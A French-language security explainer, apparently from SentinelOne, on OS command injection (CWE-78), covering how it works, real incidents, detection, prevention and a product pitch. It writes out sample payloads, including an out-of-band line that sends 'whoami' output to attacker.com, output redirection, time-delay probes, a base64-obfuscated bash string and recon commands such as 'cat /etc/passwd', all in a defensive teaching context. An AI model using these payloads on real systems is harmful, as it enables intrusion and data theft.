
Qu’est-ce que l’injection de commandes ? Comment les attaquants l’exploitent
L’injection de commandes (CWE-78) permet aux attaquants d’exécuter des commandes du système d’exploitation via des applications vulnérables. Découvrez son fonctionnement, qui est concerné et comment la bloquer.

Points clés
- L’injection de commandes est une vulnérabilité qui permet aux attaquants d’exécuter des commandes non autorisées du système d’exploitation via une application vulnérable.
- L’absence de validation des entrées utilisateur est une cause fréquente, notamment lorsque les applications transmettent directement ces entrées aux shells système ou aux interpréteurs de commandes.
- Une injection de commandes réussie peut exposer des données sensibles et des ressources système, donnant aux attaquants la possibilité de lire des fichiers, de modifier des données, d’exécuter du code malveillant ou d’obtenir des accès supplémentaires.
- Les attaquants peuvent exploiter l’injection de commandes de différentes façons, notamment en injectant des commandes supplémentaires, en utilisant des séparateurs de commandes ou en manipulant les paramètres de l’application.
- La validation rigoureuse des entrées et l’absence d’exécution directe de commandes OS sont des défenses essentielles, tout comme l’application du principe du moindre privilège, l’utilisation d’API sécurisées et les tests de sécurité réguliers.
Qu’est-ce que l’injection de commandes ?
L’injection de commandes est une vulnérabilité qui permet aux attaquants d’exécuter des commandes arbitraires du système d’exploitation (OS) sur un hôte via une application vulnérable. Elle survient lorsqu’un logiciel construit une commande OS en y insérant du texte fourni par un utilisateur. Si ce texte contient des caractères que le shell interprète comme des instructions, tels que; ou |, le shell les exécute dans le cadre de la commande. Les commandes injectées s’exécutent avec les privilèges du processus de l’application vulnérable, ce qui donne souvent un accès direct au serveur sous-jacent.
Répertoriée dans la Common Weakness Enumeration (CWE) de MITRE sous CWE-78 (injection de commandes OS) et sa catégorie parente CWE-77 (injection de commandes), cette faiblesse appartient à la famille plus large des injections CWE-74. L’injection de commandes détourne les appels OS existants d’une application en ajoutant des instructions contrôlées par l’attaquant aux commandes shell qu’elle exécute déjà. L’attaquant n’a besoin ni d’ajouter du code à l’environnement d’exécution de l’application ni d’accéder à un moteur de base de données. L’appel au shell de l’application fait le travail.
Les conséquences sont largement documentées. La vulnérabilité Shellshock (CVE-2014-6271) a permis aux attaquants d’exécuter des commandes au moyen de variables d’environnement Bash spécialement conçues. L’absence de correctif pour une faille d’exécution de commandes dans Apache Struts, CVE-2017-5638, a ensuite ouvert la voie à la compromission d’Equifax et des données personnelles de 147 millions de personnes. CWE-78 occupe également la première place du KEV Top 10, le classement 2025 de MITRE des faiblesses à l’origine des vulnérabilités du catalogue Known Exploited Vulnerabilities (KEV) de CISA. Aucune autre faiblesse n’est aussi souvent exploitée.
Le mécanisme est simple. Le principe pour le bloquer l’est aussi : ne jamais intégrer les données utilisateur aux instructions du shell.
Comment fonctionne l’injection de commandes ?
L’injection de commandes exploite un défaut de conception fondamental : une application transmet des entrées contrôlées par l’utilisateur directement à un shell système, sans séparer les données des instructions. Lorsque le shell reçoit la chaîne concaténée, il interprète les métacaractères fournis par l’attaquant comme des séparateurs de commandes, des substitutions ou des opérateurs.
Le mécanisme de base
Prenons une application web qui effectue des recherches DNS en transmettant au système d’exploitation un nom d’hôte fourni par l’utilisateur :

Si vous saisissez example.com, le shell exécute /path/to/nslookup example.com comme prévu. Mais si un attaquant saisit example.com ; /bin/ls -l, le shell y voit deux commandes distinctes :

Sur les systèmes Unix, le point-virgule sépare les commandes. Le shell exécute d’abord nslookup, puis ls -l, et renvoie une liste de répertoires que le développeur n’avait jamais prévue.
Métacaractères du shell
Les attaquants utilisent des caractères spéciaux du shell pour sortir du contexte de commande prévu. Selon PortSwigger Academy :
Caractère | Plateforme | Comportement |
; | Unix | Exécuter les commandes séquentiellement |
& | Windows + Unix | Exécuter en arrière-plan ou enchaîner les commandes |
&& | Windows + Unix | Exécuter la deuxième commande uniquement si la première réussit |
| | Windows + Unix | Transmettre la sortie de la première commande à la deuxième |
|| | Windows + Unix | Exécuter la deuxième commande uniquement si la première échoue |
(accents graves) | Unix | Substitution de commande en ligne |
$() | Unix | Substitution de commande en ligne |
Saut de ligne (0x0a) | Unix | Terminer la commande en cours, en commencer une autre |
Lorsque la saisie de l'attaquant se trouve entre guillemets dans la commande d'origine, il doit d'abord fermer la chaîne entre guillemets pour que les métacaractères prennent effet.
Deux sous-types structurels
MITRE distingue deux sous-types distincts d'injection de commandes du système d'exploitation :
Sous-type 1: injection par séparateur de commandes. L'application exécute un programme fixe et utilise la saisie de l'utilisateur comme arguments. Les attaquants ne peuvent pas changer le programme exécuté, mais peuvent ajouter des commandes à l'aide de séparateurs. C'est la forme la plus courante.
Sous-type 2: contrôle total de la commande. L'application utilise la saisie pour déterminer quel programme exécuter. Par exemple :

Si un attaquant contrôle la propriété SCRIPTNAME, il choisit quel binaire exécuter.
Classique vs. aveugle vs. de second ordre
L'injection classique (dans la bande) renvoie directement la sortie de la commande dans la réponse HTTP. La saisie de & echo aiwefwlguh & confirme l'injection lorsque la chaîne affichée apparaît dans le corps de la réponse.
L'injection aveugle ne produit aucune sortie visible. Les attaquants confirment l'exécution grâce à trois techniques décrites par PortSwigger:
- Délais d'exécution:
& sleep 10 &provoque un retard mesurable dans la réponse. - Redirection de la sortie:
||whoami>/var/www/images/output.txt||écrit les résultats dans un chemin accessible depuis le Web. - Rappels hors bande :
& nslookup `whoami`.attacker.com& déclenche une requête DNS vers un domaine contrôlé par l'attaquant, en intégrant le résultat de la commande dans le sous-domaine.
L'injection de second ordre stocke la charge malveillante lors de la soumission. L'injection se déclenche plus tard, lorsqu'une autre fonction de l'application récupère les données stockées et les intègre dans une commande. Il devient alors bien plus difficile de suivre le cheminement des données de la source à leur utilisation lors de la revue du code.
Chacun de ces types exploite la même cause fondamentale : une entrée non assainie parvient à un shell système. Une seule cause fondamentale signifie qu'une même pratique prévient les trois types.
Causes de l'injection de commandes
L'injection de commandes ne résulte pas d'une seule erreur de programmation. Elle découle de pratiques de développement qui ne séparent pas les données utilisateur des instructions du shell.
Appel direct du shell avec une entrée utilisateur
La cause la plus fréquente consiste à appeler des fonctions du shell du système d'exploitation en concaténant des chaînes contrôlées par l'utilisateur dans la commande. Tous les grands langages de programmation proposent des fonctions qui appellent le shell système. Les développeurs y recourent pour accéder rapidement aux utilitaires du système d'exploitation :
Langage | Fonctions dangereuses |
Python |
|
Java |
|
PHP |
|
Ruby |
|
Node.js |
|
Sources : Aide-mémoire OWASP, blog Bugcrowd
Validation insuffisante des entrées
Même lorsqu’ils valident les entrées, les développeurs s’appuient souvent sur des listes de refus qui bloquent certains caractères dangereux. La fiche OWASP Validation Cheat Sheet qualifie cette approche de « fondamentalement défaillante » : les attaquants la contournent par des variantes d’encodage, d’autres séparateurs ou une injection d’arguments ne nécessitant aucun métacaractère du shell.
Vecteurs d’entrée indirects
Une injection de commandes ne passe pas toujours par un champ de formulaire ou un paramètre d’URL. Selon OWASP community et MITRE CWE-78, les vecteurs d’entrée documentés comprennent :
- Variables d’environnement
- Noms de fichiers contenus dans des archives
- Réponses de serveurs FTP
- En-têtes HTTP et cookies transmis aux appels système
- Propriétés système et valeurs de configuration d’exécution de la Java Virtual Machine (JVM)
Chacun de ces vecteurs peut introduire des métacaractères du shell dans une chaîne de commande si le code qui la reçoit ne les valide pas.
Absence de paramétrage
Les langages et les frameworks proposent une exécution paramétrée qui sépare la commande de ses arguments. En choisissant subprocess.run(f"ping {user_input}", shell=True) plutôt que subprocess.run(["ping", user_input], shell=False), les développeurs écartent ces API plus sûres. Le shell interprète alors toute l’entrée comme une seule chaîne, métacaractères compris.
Non-respect du principe du moindre privilège
Même en cas d’injection, l’étendue des dégâts dépend des privilèges du processus vulnérable. Si l’application s’exécute en tant que root ou avec un compte de service à privilèges élevés, une injection réussie donne à l’attaquant un accès complet au système. Selon OWASP WSTG, les applications web doivent s’exécuter avec des permissions strictes interdisant l’exécution de commandes arbitraires du système d’exploitation.
Sans correction, chacune de ces causes aggrave les dommages.
Impact et risques de l’injection de commandes
L’injection de commandes figure régulièrement parmi les vulnérabilités les plus graves : elle ouvre un accès direct à l’exécution de commandes système depuis une requête web. Ses conséquences sont techniques, opérationnelles et stratégiques.
Impact technique
Une injection de commandes système réussie peut entraîner :
- L’exécution de commandes arbitraires avec les privilèges du processus applicatif vulnérable
- La compromission complète du système lorsque l’application s’exécute en tant que root ou avec des privilèges élevés
- L’exfiltration de données via des connexions réseau sortantes ou un tunnel DNS
- Un accès persistant via des implants, des portes dérobées ou de nouveaux comptes utilisateur
- Un mouvement latéral vers d’autres systèmes accessibles depuis l’hôte compromis
La gravité dépend des privilèges du processus compromis et de la position de l’hôte concerné sur le réseau.
Impact sur l’entreprise
Les conséquences observées comprennent :
- Ransomware déployé : Les attaquants ont exploité Apache ActiveMQ CVE-2023-46604, une faille de désérialisation qui aboutit à l’exécution de commandes shell arbitraires, pour déployer le ransomware HelloKitty. Son une entrée CISA KEV confirme une exploitation active
- Espionnage étatique : Un avis conjoint du FBI et de la CISA sur la DPRK (AA24-207A) cite CVE-2023-46604 parmi les failles exploitées par le groupe nord-coréen Andariel lors d'une campagne mondiale d'espionnage
Ces incidents montrent que l'injection de commandes touche les organisations de tous les secteurs, quelle que soit leur taille.
L'écart entre fréquence et exploitation
L'injection de commandes se distingue par l'écart entre sa fréquence et son exploitation par les attaquants. CWE-78 occupe la neuvième place du classement MITRE des 25 CWE les plus répandues en 2025, mais arrive en tête du KEV Top 10. Selon MITRE, cet écart reflète « les types de vulnérabilités les plus faciles à exploiter et dont l'impact est le plus recherché par les adversaires ».
Cet écart révèle ce que recherchent les attaquants : une requête, un shell. Leur méthode en découle.
Comment les attaquants exploitent l'injection de commandes
Pour cibler l'injection de commandes, les attaquants suivent une méthode structurée : ils repèrent une faille, confirment son existence, puis l'exploitent pleinement.
Étape 1 : repérer les points d'injection
Les attaquants recherchent les fonctions applicatives qui interagissent avec le système d'exploitation : opérations sur les fichiers, requêtes DNS, diagnostics réseau, génération de PDF, traitement d'images ou interfaces d'administration système. Ils testent toutes les entrées susceptibles d'atteindre un shell, notamment les paramètres d'URL, les champs de formulaire, les en-têtes HTTP, les cookies et les noms des fichiers téléversés.
Étape 2 : tester l'exécution
Pour une injection classique, l'attaquant soumet des charges utiles contenant des métacaractères de shell et cherche le résultat de la commande dans la réponse :

Si randomstring apparaît dans la réponse, l'application transmet l'entrée à un shell.
Pour une injection à l'aveugle, l'attaquant utilise des charges utiles fondées sur le temps de réponse :

Un délai constant confirme l'exécution sans résultat visible. Autre possibilité : des charges utiles hors bande déclenchent des requêtes DNS vers un serveur externe :

L'attaquant surveille son serveur DNS à la recherche de requêtes contenant le résultat de whoami sous forme de sous-domaine.
Étape 3 : explorer l'environnement
Une fois l'exécution confirmée, les attaquants lancent des commandes de reconnaissance : whoami, id, ifconfig, uname -a, cat /etc/passwd. Elles révèlent les privilèges de l'utilisateur, la configuration réseau et la version du système d'exploitation, et orientent la suite de l'attaque.
Étape 4 : établir la persistance et élever les privilèges
Après avoir obtenu un premier accès au shell, les attaquants procèdent généralement ainsi :
- Télécharger des outils supplémentaires via
curlouwgetdepuis des serveurs contrôlés par les attaquants - Créer des comptes utilisateur ou des clés SSH pour conserver l'accès
- Exploiter une élévation locale des privilèges pour obtenir les privilèges root
- Se déplacer latéralement vers d’autres systèmes accessibles depuis l’hôte compromis
Chacune de ces actions laisse des traces de télémétrie. Avec une instrumentation adaptée, cette télémétrie devient un signal d’alerte précoce.
Étape 5 : exploiter des vulnérabilités en chaîne
Les attaquants combinent souvent l’injection de commandes avec d’autres failles pour accroître leur impact. Lors de la campagne ciblant Cisco IOS XE, ils ont d’abord exploité CVE-2023-20198 pour obtenir un accès initial, puis CVE-2023-20273 pour obtenir les privilèges root et installer un implant persistant. La chaîne d’exploitation d’Ivanti Connect Secure combinait un contournement de l’authentification avec une injection. Des attaquants non authentifiés pouvaient alors exécuter des commandes arbitraires avec des privilèges élevés.
Techniques d’évasion
Les attaquants expérimentés contournent les filtres de base grâce à :
- Encodage : encodage URL, encapsulation en base64 (;bash<<<$(base64 -d<<<d2hvYW1p))
- Séparateurs alternatifs: caractères de saut de ligne (0x0a) à la place des points-virgules
- Injection d’arguments : utilisation de l’option -exec sans aucun métacaractère de shell
- Sortie d’un contexte entre guillemets : fermeture des guillemets définis par le développeur avant l’injection de séparateurs
Identifiez les systèmes les plus exposés pour prioriser vos défenses.
Qui est concerné par l’injection de commandes ?
L’injection de commandes menace tout système dont une application construit des commandes du système d’exploitation à partir de données externes. Repérez où le risque se concentre pour savoir quoi protéger en priorité.
Équipements réseau et de sécurité
Les passerelles VPN, les pare-feu, les routeurs et les commutateurs constituent la surface d’attaque la plus exposée à l’injection de commandes. Le catalogue KEV de la CISA recense de nombreuses failles d’injection de commandes activement exploitées dans Ivanti Connect Secure, Cisco IOS XE, Cisco NX-OS, ainsi que dans les pare-feu et routeurs Zyxel. Ces équipements se trouvent à la périphérie du réseau et sont, par conception, exposés à Internet. Ils exécutent souvent des systèmes d’exploitation embarqués dépourvus des outils de sécurité disponibles sur les serveurs polyvalents.
Objets connectés et appareils embarqués
Les caméras, les enregistreurs vidéo réseau (NVR) et les équipements réseau grand public présentent souvent des vulnérabilités d’injection de commandes sans correctif disponible. Les appareils IoT GeoVision en fin de vie (CVE-2024-6047, CVE-2024-11120) figurent dans le catalogue KEV parmi les vulnérabilités activement exploitées. La décision de ne pas corriger la faille CVE-2024-40891 sur les routeurs Zyxel en fin de vie a laissé indéfiniment exposés des appareils dotés d’identifiants par défaut et exécutant des commandes Telnet non validées.
Applications web intégrées au système d’exploitation
Toute application web qui appelle des utilitaires système, traite des fichiers, génère des rapports ou gère une infrastructure serveur au moyen de commandes shell est exposée. Les plateformes de déploiement auto-hébergées comme Coolify montrent que les outils DevOps modernes restent vulnérables à cette faille classique lorsque leurs fonctions de sauvegarde ou d’importation de bases de données, ou leurs scripts d’initialisation, transmettent des données utilisateur au shell.
Infrastructures critiques et secteur de la santé
Les opérateurs d’infrastructures critiques et les établissements de santé courent un risque accru lorsque leurs systèmes exposés cumulent accessibilité depuis Internet, sensibilité opérationnelle et logiciels ou matériels vulnérables. Les attaques de mai 2023 contre des entreprises énergétiques danoises montrent à quelle vitesse cette combinaison peut provoquer un incident.
Plateformes IA et LLM émergentes
La version 4.16 du MITRE CWE a ajouté à CWE-77 un exemple illustratif lié à l’IA : un cas d’injection de prompt qui révèle une nouvelle surface d’attaque. Les exemples récents de CWE-78 incluent désormais les plateformes d’entraînement d’agents IA et de grands modèles de langage (LLM), où Python Popen traitent des données non assainies provenant de composants du pipeline IA.
Des incidents documentés montrent comment ces risques se concrétisent dans les environnements de production.
Exemples réels d'injection de commandes
Depuis 2014, l'injection de commandes a été à l'origine d'incidents de sécurité parmi les plus graves jamais recensés, touchant aussi bien les infrastructures web grand public que les systèmes nationaux critiques.
Shellshock (2014) : exploitation massive de GNU Bash
CVE-2014-6271 touchait GNU Bash jusqu'à la version 4.3. Bash traitait les chaînes placées après les définitions de fonctions dans les variables d'environnement. Des attaquants distants pouvaient ainsi exécuter des commandes arbitraires par tout vecteur définissant des variables d'environnement avant d'invoquer Bash. Les surfaces d'attaque comprenaient les scripts CGI d'Apache, OpenSSH ForceCommand et les scripts clients DHCP.
Shellshock a obtenu une note de CVSS 9.8. Le correctif initial était incomplet. D'autres correctifs ont suivi sous les références CVE-2014-7169, CVE-2014-6277 et CVE-2014-6278.
Violation de données chez Equifax (2017) : des dossiers exposés
CVE-2017-5638 dans Apache Struts 2 permettait l'exécution de commandes à distance via un en-tête HTTP Content-Type, Content-Disposition ou Content-Length spécialement conçu et envoyé au parseur Jakarta Multipart. Cette vulnérabilité a servi de point d'entrée lors de la violation de données chez Equifax, faute d'application du correctif disponible. Selon la Federal Trade Commission, les données personnelles de 147 millions de personnes ont été exposées. Cet incident reste l'une des plus grandes violations de données de l'histoire. Les détails techniques figurent dans la fiche de la National Vulnerability Database (NVD).
Attaque contre le réseau électrique danois (2023)
En mai 2023, des groupes malveillants liés à la Russie ont compromis 22 entreprises danoises du secteur de l'électricité. La première vague exploitait CVE-2023-28771, une faille critique d'injection de commandes dans les routeurs Zykel. Les attaquants ont continué d'exploiter les systèmes non corrigés pour conserver leur accès. SektorCERT, le centre de cybersécurité des infrastructures critiques danoises, a révélé cette campagne en novembre 2023.
Exploitation massive d'Ivanti Connect Secure (2024)
À partir de janvier 2024, plusieurs groupes malveillants ont exploité conjointement CVE-2024-21887 (injection de commandes) et CVE-2023-46805 (contournement de l'authentification) contre des équipements VPN Ivanti Connect Secure. CISA a publié un avis d'urgence décrivant cette chaîne d'exploitation.
Trois failles d'injection de commandes dans Coolify (2026)
Révélées en janvier 2026, les failles de Coolify sur cette plateforme de déploiement auto-hébergée ont confirmé que l'injection de commandes reste un risque actuel. Trois d'entre elles (CVE-2025-66209, CVE-2025-66210 et CVE-2025-66211, chacune notée CVSS 10.0) touchaient les fonctions de sauvegarde et d'importation des bases de données ainsi que la gestion des scripts d'initialisation PostgreSQL. Un utilisateur authentifié disposant de droits sur les bases de données pouvait sortir du conteneur et prendre le contrôle du serveur.
Ces incidents couvrent plus d'une décennie. La chronologie suivante montre comment l'injection de commandes a évolué.
Injection de commandes : chronologie
Année | Événement | Portée |
2002 | CVE-2002-0061 documentée | Premier exemple de CWE-78 : exécution de commandes sur un serveur web via le caractère de barre verticale |
2014 | Shellshock (CVE-2014-6271) | Exploitation massive de GNU Bash sur de nombreuses plateformes |
2017 | Apache Struts / Equifax (CVE-2017-5638) | L’exécution de commandes via des en-têtes HTTP entraîne une compromission majeure |
2023 | Apache ActiveMQ (CVE-2023-46604) | Faille de désérialisation menant à l’exécution de commandes shell, exploitée pour déployer un ransomware |
2023 | Faille zero-day de Cisco IOS XE (CVE-2023-20198) | Chaîne d’exploitation en deux étapes avec implant persistant |
2023 | Attaque contre le réseau électrique danois | Plusieurs entreprises touchées par une injection de commandes dans des infrastructures critiques |
2024 | Exploitation massive d’Ivanti Connect Secure | Chaîne combinant injection de commandes + contournement de l’authentification sur des équipements exposés |
2025 | CWE-78 atteint la 1re place du Top 10 KEV de MITRE | La faiblesse la plus exploitée dans le catalogue KEV de CISA |
2025 | CVE-2025-54100 (Windows PowerShell) | Injection de commandes lors du traitement de contenus web par PowerShell |
2026 | Coolify : trois failles au score CVSS de 10.0 | Trois failles d’injection de commandes dans des outils DevOps modernes |
2026 | TP-Link Archer BE230 (CVE-2026-22224) | Injection via l’interface cloud du firmware d’un routeur grand public |
L’injection de commandes continue d’apparaître dans de nouveaux contextes. La surface d’attaque s’étend désormais aux infrastructures cloud, aux écosystèmes IoT et aux plateformes IA. En la détectant à chaque couche, avant et après son exploitation, les défenseurs en limitent la portée.
Comment détecter l’injection de commandes
Détecter l’injection de commandes exige une couverture à plusieurs niveaux : cycle de développement, exécution de l’application et télémétrie des endpoints et du réseau.
Tests statiques de sécurité des applications (SAST)
Les outils SAST analysent le code source ou les binaires avant l’exécution. Ils recherchent des schémas vulnérables sans exécuter l’application. Pour l’injection de commandes, ils repèrent :
- Les appels à des fonctions dangereuses (system(), exec(), popen(), subprocess avec shell=True)
- Les données non fiables provenant de sources contrôlées par l’utilisateur (paramètres HTTP, en-têtes, cookies) qui atteignent ces fonctions sans validation
- L’absence de validation par liste d’autorisation avant la construction d’une commande du système d’exploitation
Les outils SAST produisent des faux positifs et n’observent pas le comportement à l’exécution. Ils repèrent des schémas de code, sans confirmer qu’ils sont exploitables. Vérifiez manuellement leurs résultats.
Tests dynamiques de sécurité des applications (DAST)
Les outils DAST évaluent les applications en cours d’exécution en simulant des attaques depuis l’extérieur. Selon le guide OWASP WSTG, les charges utiles DAST efficaces pour l’injection de commandes comprennent :
Catégorie | Exemples de charges utiles | Méthode de détection |
Chaînage de commandes |
| Sortie de la commande dans la réponse |
Substitution de commandes |
| Sortie de la commande dans la réponse |
Délai (à l'aveugle) |
| Mesure du temps de réponse |
Hors bande (à l'aveugle) |
| Surveillance des requêtes DNS de retour |
Des outils comme Burp Suite Professional et OWASP ZAP exécutent ces tests sur les endpoints de l'application.
Autoprotection des applications en cours d'exécution (RASP)
RASP instrumente l'application en cours d'exécution et détecte les appels de commandes depuis l'application. RASP détecte la création effective d'un processus via Runtime.exec ou ProcessBuilder.start, ce qui signifie que les techniques d'encodage et d'obfuscation qui trompent les défenses périmétriques échouent à ce niveau.
Indicateurs comportementaux des endpoints et du réseau
Pour votre équipe SOC, ces indicateurs au niveau des processus et du réseau signalent l'exploitation d'une injection de commandes :
Indicateurs de processus :
- Processus de serveurs web (Apache, nginx, Tomcat) lançant cmd.exe, bash, sh ou PowerShell comme processus enfants
- Processus enfants exécutant whoami, id, ifconfig, net user, ou des commandes d'énumération similaires
- Chaînes encodées en Base64 apparaissant comme arguments de ligne de commande de processus shell
- Processus issus d'applications web invoquant nslookup, curl ou wget vers des destinations externes hors de l'entreprise
Indicateurs réseau :
- Processus côté serveur générant des requêtes sortantes via curl ou wget vers des adresses IP externes
- Nouveaux agents utilisateurs (curl, wget) provenant de systèmes exposés à Internet et s'écartant du comportement habituel
- Requêtes DNS effectuées par des processus serveur vers des domaines externes inhabituels, compatibles avec des charges utiles d'exfiltration utilisées dans les tests de sécurité applicative hors bande (OAST)
La meilleure défense bloque l'injection avant qu'elle n'atteigne un shell.
Comment prévenir l'injection de commandes
La prévention suit la hiérarchie des défenses établie par le OWASP Defense Cheat Sheet. Commencez par les contrôles les plus efficaces, puis ajoutez d'autres défenses.
1. Éliminer totalement les appels aux commandes du système d'exploitation
La prévention la plus efficace consiste à ne jamais appeler de commandes du système d'exploitation depuis le code applicatif. Selon PortSwigger, presque chaque commande shell possède une alternative native dans le langage utilisé. Utilisez InetAddress.getByName("host") plutôt que d'exécuter ping dans un shell. Utilisez la fonction Python shutil.copy() plutôt que os.system("cp ..."). Utilisez la fonction intégrée de PHP copy() au lieu de system("cp ...").
2. Utilisez des paramètres lorsque les appels au shell sont inévitables
Si vous devez exécuter des commandes du système d'exploitation, utilisez des API structurées qui séparent la commande de ses arguments :
py

Java

En PHP, escapeshellarg() entoure l'entrée utilisateur de guillemets simples et traite la valeur entière comme un seul argument. Cela empêche l'injection, mais pas la manipulation des arguments.
3. Validez avec des listes d'autorisation, pas des listes de blocage
Définissez précisément les entrées autorisées. Toutes les autres sont rejetées par défaut.
Une expression régulière pratique de liste d'autorisation pour les arguments de commande, selon la fiche OWASP Defense Cheat Sheet, est ^[a-z0-9]{3,10}$.
Les caractères à exclure de toute expression régulière de liste d'autorisation pour les arguments de commande, selon OWASP :
4. Utilisez le délimiteur d'arguments -- délimiteur d’argument
Selon la directive 10 de POSIX, le premier argument -- marque la fin des options. Tous les arguments suivants sont traités comme des opérandes, même s'ils commencent par - :
shell

Cela empêche l'injection d'arguments lorsque l'entrée utilisateur peut contenir des valeurs commençant par un tiret.
5. Appliquez le principe du moindre privilège à l'exécution
Exécutez les applications web et leurs composants avec des permissions strictes qui interdisent l'exécution de commandes arbitraires du système d'exploitation. Comme les commandes injectées s'exécutent avec les privilèges de l'application vulnérable, un processus exécuté par un utilisateur sans privilèges limite les dégâts même si l'injection réussit.
6. Alignez-vous sur le NIST SSDF
NIST SP 800-218 (Secure Software Development Framework) définit le cadre de gouvernance. La pratique PW.8 préconise de tester le code pour détecter les vulnérabilités avant sa publication. La pratique PW.9 préconise des paramètres sécurisés par défaut qui excluent les configurations dangereuses de la production.
Associez ces contrôles aux bons outils pour détecter les failles d'injection de commandes en amont, plutôt que d'en réparer les dégâts après coup.
Outils de détection et de prévention
Les approches SAST et RASP présentées plus haut couvrent la revue du code et la protection à l'exécution. Trois autres niveaux complètent la défense.
Outils DAST
Burp Suite Professional et OWASP ZAP testent les applications en cours d'exécution avec des charges utiles d'injection, notamment des techniques basées sur le temps et hors bande pour les injections de commandes aveugles. Analysez régulièrement les environnements de préproduction avec des outils DAST.
Pare-feu applicatifs web (WAF)
L'OWASP ModSecurity Core Rule Set comprend des règles REQUEST-932-APPLICATION-ATTACK-RCE ciblant spécifiquement l'exécution de code à distance. Les AWS WAF Managed Rules offrent une couverture similaire grâce au Core Rule Set.
Cependant, les WAF présentent une limite majeure. Les chercheurs de MDSec ont documenté des contournements réels de plusieurs grands produits WAF. Leur conclusion : les WAF sont « trop souvent considérés comme l'unique ligne de défense ». Ces techniques exploitent notamment des failles de normalisation des requêtes et la pollution des paramètres HTTP. Les WAF doivent compléter la validation des entrées au niveau applicatif, jamais la remplacer.
Plateformes EDR/XDR
La détection et la réponse sur les endpoints (EDR) et les plateformes de détection et de réponse étendues (XDR) constituent la dernière ligne de défense. Après une injection réussie, elles surveillent la télémétrie des processus du système d'exploitation et du réseau. Elles signalent les processus enfants inattendus, les connexions réseau anormales et les mouvements latéraux. C'est là que l'IA comportementale devient essentielle : les outils fondés sur les signatures ne peuvent anticiper toutes les commandes qu'un attaquant pourrait exécuter via une faille d'injection.
Comment SentinelOne peut-il vous aider ?
La plateforme Singularity™ Platform de SentinelOne détecte l'exploitation des injections de commandes après la compromission, là où de nombreuses organisations sont les moins protégées. Lors des évaluations MITRE ATT&CK 2024, SentinelOne a atteint un taux de détection de 100 % sans aucun délai, avec 88 % d'alertes en moins que les produits concurrents. Cette capacité compte dès qu'un serveur web lance bash ou cmd.exe après une injection réussie.
Singularity AI SIEM corrèle la télémétrie, les connexions réseau et les signaux d'identité dans une vue unifiée. Lorsqu'une injection de commandes déclenche des requêtes curl sortantes vers l'infrastructure d'un attaquant, suivies d'un mouvement latéral, Singularity AI SIEM relie ces événements dans un même scénario d'attaque au lieu de générer des alertes isolées.
Purple AI™ vous donne les moyens de mener une chasse aux menaces en langage naturel dans votre Singularity Data Lake. Selon IDC, les clients de Purple AI ont identifié les menaces 63 % plus vite et réduit leur MTTR de 55 %. Votre équipe passe plus rapidement d'un processus enfant suspect à un incident élucidé.
Pour les organisations qui gèrent des appareils IoT et embarqués sur lesquels aucun agent ne peut être déployé, la télémétrie réseau et l'analyse comportementale fondée sur l'identité de la plateforme rendent visibles les injections de commandes visant des appareils comme les routeurs Zyxel et les caméras GeoVision non corrigés figurant dans le catalogue KEV de la CISA.
Demandez une démo SentinelOne pour découvrir comment la Singularity Platform détecte et bloque l'exploitation des injections de commandes dans votre environnement.

Cybersécurité alimentée par l'IA
Améliorez votre posture de sécurité grâce à la détection en temps réel, à une réponse à la vitesse de la machine et à une visibilité totale de l'ensemble de votre environnement numérique.
Vulnérabilités connexes
L'injection de commandes appartient à la grande famille des injections CWE-74. Comprenez les vulnérabilités apparentées et leurs enchaînements pour fermer toutes les voies menant au shell.
Injection d'arguments (CWE-88)
Sous-catégorie de CWE-77, l'injection d'arguments ne nécessite aucun métacaractère du shell. L'attaquant reste dans la commande prévue, mais manipule les arguments ou les options transmis. Selon MITRE, si le programme accepte l'option -exec, l'injection d'arguments peut mener directement à une injection de commandes du système d'exploitation. Les développeurs qui bloquent les métacaractères du shell mais acceptent les valeurs commençant par un tiret restent vulnérables.
Injection de code (CWE-94)
L'injection de code introduit du nouveau code dans l'interpréteur d'exécution de l'application (eval(), include(), exec() en PHP/Python). Selon OWASP, « l'injection de commandes diffère de l'injection de code : cette dernière permet à l'attaquant d'ajouter son propre code, que l'application exécute ensuite ». L'injection de code peut conduire à l'exécution de commandes du système d'exploitation lorsque le code injecté appelle system().
Injection SQL (CWE-89)
L’injection SQL manipule les requêtes de base de données. Elle peut exécuter des commandes du système d’exploitation grâce à des fonctionnalités propres aux bases de données : sur Microsoft SQL Server, xp_cmdshell exécute des commandes du système d’exploitation directement depuis une requête SQL, tandis que les fonctions définies par l’utilisateur de MySQL offrent une passerelle similaire. MITRE décrit ces voies d’escalade dans son catalogue Common Attack Pattern Enumeration and Classification (CAPEC) sous la référence CAPEC-108 (exécution de commandes via une injection SQL).
Injection de modèles côté serveur (SSTI)
Associée à CWE-94, la SSTI survient lorsque les données saisies par l’utilisateur sont concaténées dans des modèles plutôt que transmises comme valeurs de données. Selon PortSwigger, dans les cas les plus graves, la SSTI permet l’exécution de code à distance et la prise de contrôle complète du serveur. Des chaînes d’attaque documentées montrent que des attaques XSS stockées transmettent des charges utiles SSTI qui exécutent des commandes du système d’exploitation en accédant aux classes du moteur de modèles.
Désérialisation de données non fiables (CWE-502)
Les attaques par désérialisation utilisent des objets sérialisés spécialement conçus pour déclencher l’exécution de code lors de leur instanciation. Selon MITRE, les charges utiles Python pickle peuvent redéfinir __reduce__ pour appeler Popen et lancer un shell. Les chaînes de gadgets Java exploitant Apache Commons Collections parviennent à exécuter Runtime.exec(). Leur principal atout pour contourner les défenses : les charges utiles arrivent sous forme de données binaires qui échappent à toute validation des entrées fondée sur les chaînes de caractères.
Le principe commun
Selon MITRE CWE-94 : « Toutes les failles d’injection ont un point commun : elles introduisent des données du plan de contrôle dans le plan de données contrôlé par l’utilisateur. » L’interpréteur concerné, qu’il s’agisse d’un shell, d’un moteur SQL, d’un moteur de modèles ou d’un désérialiseur, détermine la classification CWE et la syntaxe de l’attaque. La cause profonde reste la même : une entrée non assainie atteint un interpréteur qui traite les données comme des instructions.
FAQ
L’injection de commandes est une faille de sécurité (CWE-78) qui survient lorsqu’une application construit des commandes du système d’exploitation en concaténant des données contrôlées par l’utilisateur sans neutraliser les caractères spéciaux du shell.
Les attaquants ajoutent des métacaractères comme ;, | ou && pour exécuter leurs commandes avec les privilèges de l’application. Les instructions injectées prolongent un appel existant au système d’exploitation sans ajouter de logique à l’application.
Oui. CWE-77 et CWE-78 sont associés à A03:2021 Injection dans l’OWASP Top 10:2021 et à A05:2025 dans l’OWASP Top 10:2025. La catégorie Injection couvre plusieurs CWE connexes, dont l’injection de commandes.
Oui. Une simple requête HTTP spécialement conçue vers un endpoint vulnérable peut suffire aux attaquants. La chaîne d’attaque visant Ivanti Connect Secure (CVE-2024-21887) et la faille zero-day de Cisco IOS XE (CVE-2023-20198) ont toutes deux été exploitées à distance.
